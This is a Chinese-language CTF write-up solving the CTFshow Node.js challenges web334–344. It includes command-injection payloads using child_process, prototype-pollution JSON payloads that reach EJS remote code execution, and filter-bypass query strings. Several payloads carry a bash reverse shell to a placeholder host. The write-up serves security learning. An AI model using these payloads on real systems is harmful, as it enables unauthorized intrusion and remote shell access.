CTFSHOW nodejs篇

文章目录

    • web334
    • web335
    • web336
    • web337
    • web338
    • web339
    • web340
    • web341
    • web342、343 不会
    • web344

web334

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了

web335

猜测题目中的代码为eval('console.log(xxx)')xxx为我们传入的内容,eval中可以执行js代码,那么就可以执行系统命令了。

require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web336

require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web337

payload:a[x]=1&b[x]=2
运行如下代码

a={
     'x':'1'}
b={
     'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

两个都会打印出[object Object]flag{xxx},所以他们的md5也是一样的了。
有同学可能会问为什么传a[0]=1&b[0]=2不行呢,因为当我们这样传的时候相当于创了个变量a=[1] b=[2]

a=[1]
b=[2]
a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

打印出来的结果是1flag{xxx}和2flag{xxx}

web338

原型链污染漏洞,参考链接https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
重点在这个地方
在这里插入图片描述
只要满足secert.ctfshow==='36dboy’就可以了,前面有一个copy函数,可以与链接文章里面的merge函数类比.
登录的时候抓包,修改post的内容
CTFSHOW nodejs篇_第1张图片

payload:{"__proto__":{"ctfshow":"36dboy"}}

web339

非预期解
ejs rce具体的来看下大佬写的文章https://xz.aliyun.com/t/7184
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}
接着post访问api.js就可以反弹shell了

预期解
变量覆盖

function copy(object1, object2){
     
   for (let key in object2) {
     
       if (key in object2 && key in object1) {
     
           copy(object1[key], object2[key])
       } else {
     
           object1[key] = object2[key]
       }
   }
 }
var user ={
     }
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行上面的方法会发现query有了新的值
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}

web340

和上面的题基本类似,但是需要向上污染两级

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);

运行后会发现user.query输出的是123,说明我们成功污染了两级,
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}

web341

预期解ejs rce
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}
然后再随便访问一下页面就能触发rce

web342、343 不会

web344

router.get('/', function(req, res, next) {
     
 res.type('html');
 var flag = 'flag_here';
 if(req.url.match(/8c|2c|\,/ig)){
     
 	res.end('where is flag :)');
 }
 var query = JSON.parse(req.query.query);
 if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
     
 	res.end(flag);
 }else{
     
 	res.end('where is flag. :)');
 }

});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

你可能感兴趣的:(CTFSHOW nodejs篇)